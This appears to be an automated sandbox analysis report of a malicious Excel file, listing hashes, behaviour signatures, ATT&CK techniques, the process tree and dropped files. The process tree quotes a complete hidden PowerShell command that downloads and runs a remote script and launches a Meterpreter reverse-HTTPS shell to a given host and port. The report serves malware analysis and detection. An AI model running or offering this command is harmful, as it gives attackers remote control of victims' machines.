a10ce983a88fc3e8f5248d077566aeb2e06bfc9b0659cf6a5ca3716f9185f16d

General

Target

a10ce983a88fc3e8f5248d077566aeb2e06bfc9b0659cf6a5ca3716f9185f16d.xls
Size

44KB
MD5

80c41171c577be1d459280fbfc32dcd3
SHA1

547365af1c26196a9790f1822fe47b48a736d1fd
SHA256

a10ce983a88fc3e8f5248d077566aeb2e06bfc9b0659cf6a5ca3716f9185f16d
SHA512

0f3ca85952e083f11765e0230c840cef2db1c008c8a4f63a199f875c2b5dddc4ba929d24f056370d98cff5c3d3da872d3eb8cef71745c3c5b7391e052994fee0
SSDEEP

768:qtvo+6lzak3hbdlylKsgqopeJBWhZFGkE+cL2NdAJM57WauFlmQQT0TJ9acA9ac6:C5k3hbdlylKsgqopeJBWhZFGkE+cL2NW

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2828	264	powershell.exe	30
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2916	1976	wscript.exe	29

Blocklisted process makes network request 4 IoCs

flow	pid	Process
6	2828	powershell.exe
7	2828	powershell.exe
8	2668	powershell.exe
9	2668	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2828	powershell.exe
2668	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
5	raw.githubusercontent.com
6	raw.githubusercontent.com
7	raw.githubusercontent.com
8	raw.githubusercontent.com
9	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1976	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2828	powershell.exe
2668	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2828	powershell.exe
Token: SeDebugPrivilege	2668	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1976	EXCEL.EXE
1976	EXCEL.EXE
1976	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1976 wrote to memory of 2916	1976	EXCEL.EXE	33
PID 1976 wrote to memory of 2916	1976	EXCEL.EXE	33
PID 1976 wrote to memory of 2916	1976	EXCEL.EXE	33
PID 1976 wrote to memory of 2916	1976	EXCEL.EXE	33
PID 2916 wrote to memory of 2668	2916	wscript.exe	34
PID 2916 wrote to memory of 2668	2916	wscript.exe	34
PID 2916 wrote to memory of 2668	2916	wscript.exe	34
PID 2916 wrote to memory of 2668	2916	wscript.exe	34

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\a10ce983a88fc3e8f5248d077566aeb2e06bfc9b0659cf6a5ca3716f9185f16d.xls
1⤵
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1976
- C:\Windows\SysWOW64\wscript.exe
  wscript C:\Users\Public\config.vbs
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2668

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2828

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TCQB7V4PIH4MTEKQRAB8.temp

Filesize
7KB

MD5
ce288524da388ab89eadd7030b274473

SHA1
c1cb69c793df63e52583601e72a8711c31676a4a

SHA256
982c525badce45af6af156966bfb8f6c7f397de088d4ffd40b3af18b444abfbf

SHA512
bdff6eb12b010903910efc14cd615d50a1cbd8c8922f8a013fe92960706ad576a7f13ab9d71c458626cb6943ced87d6e18c652851db92002e4bab58202c6effc

Download Submit
C:\Users\Public\config.vbs

Filesize
461B

MD5
ce52ab154163c511f0efa6a61e22ab64

SHA1
9f12cc215e15802eddcb02cb5370ef16b21fa3a6

SHA256
df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17

SHA512
cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78

Download Submit
memory/1976-32-0x0000000006300000-0x0000000006400000-memory.dmp

Filesize
1024KB

Download
memory/1976-18-0x0000000006300000-0x0000000006400000-memory.dmp

Filesize
1024KB

Download
memory/1976-39-0x0000000006300000-0x0000000006400000-memory.dmp

Filesize
1024KB

Download
memory/1976-38-0x0000000006300000-0x0000000006400000-memory.dmp

Filesize
1024KB

Download
memory/1976-1-0x0000000072AFD000-0x0000000072B08000-memory.dmp

Filesize
44KB

Download
memory/1976-17-0x0000000006300000-0x0000000006400000-memory.dmp

Filesize
1024KB

Download
memory/1976-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1976-49-0x0000000072AFD000-0x0000000072B08000-memory.dmp

Filesize
44KB

Download
memory/1976-50-0x0000000006300000-0x0000000006400000-memory.dmp

Filesize
1024KB

Download
memory/1976-51-0x0000000006300000-0x0000000006400000-memory.dmp

Filesize
1024KB

Download
memory/1976-52-0x0000000006300000-0x0000000006400000-memory.dmp

Filesize
1024KB

Download
memory/2828-46-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/2828-45-0x000000001B550000-0x000000001B832000-memory.dmp

Filesize
2.9MB

Download

Analysis

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